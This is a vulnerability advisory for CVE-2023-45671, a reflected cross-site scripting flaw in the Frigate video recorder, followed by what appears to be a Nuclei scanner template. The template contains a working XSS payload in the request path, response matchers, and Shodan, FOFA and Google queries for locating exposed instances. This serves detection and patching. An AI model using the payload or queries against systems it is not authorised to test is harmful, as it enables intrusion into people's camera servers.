Frigate is an open source network video recorder. Before version 0.13.0 Beta 3, there is a reflected cross-site scripting vulnerability in any API endpoints reliant on the `/<camera_name>` base path as values provided for the path are not sanitized. Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance. This vulnerability could exploited by an attacker under the following circumstances: Frigate publicly exposed to the internet (even with authentication); attacker knows the address of a user's Frigate instance; attacker crafts a specialized page which links to the user's Frigate instance; attacker finds a way to get an authenticated user to visit their specialized page and click the button/link. As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads. Version 0.13.0 Beta 3 contains a patch for this issue.
PoC代码[已公开]
id: CVE-2023-45671
info:
name: Frigate < 0.13.0 Beta 3 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Frigate is an open source network video recorder. Before version 0.13.0 Beta 3, there is a reflected cross-site scripting vulnerability in any API endpoints reliant on the `/<camera_name>` base path as values provided for the path are not sanitized. Exploiting this vulnerability requires the attacker to both know very specific information about a user's Frigate server and requires an authenticated user to be tricked into clicking a specially crafted link to their Frigate instance. This vulnerability could exploited by an attacker under the following circumstances: Frigate publicly exposed to the internet (even with authentication); attacker knows the address of a user's Frigate instance; attacker crafts a specialized page which links to the user's Frigate instance; attacker finds a way to get an authenticated user to visit their specialized page and click the button/link. As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads. Version 0.13.0 Beta 3 contains a patch for this issue.
remediation: It has been fixed in version 0.13.0 Beta 3
reference:
- https://github.com/blakeblackshear/frigate/security/advisories/GHSA-jjxc-m35j-p56f
- https://nvd.nist.gov/vuln/detail/CVE-2023-45671
- https://securitylab.github.com/advisories/GHSL-2023-190_Frigate/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.7
cve-id: CVE-2023-45671
cwe-id: CWE-79
epss-score: 0.26546
epss-percentile: 0.96162
cpe: cpe:2.3:a:frigate:frigate:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: frigate
product: frigate
shodan-query:
- title:"Frigate"
- http.title:"frigate"
fofa-query: title="frigate"
google-query: intitle:"frigate"
tags: cve,cve2023,frigate,xss
http:
- method: GET
path:
- "{{BaseURL}}/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E"
matchers:
- type: dsl
dsl:
- 'contains(body, "Camera named <img src=\"\" onerror=alert(document.domain)>")'
- 'contains(header, "text/html")'
- 'status_code == 404'
condition: and
# digest: 490a00463044022077b817e923d2d2228855eceff474ba7148215c0cb39f5dc86e7880fd4ca8c1ac022018a88072a7b9208b96816e5c51ce23815ecf18b51cf7e38e7a278bb6caff846b:922c64590222798bb761d5b6d8e72950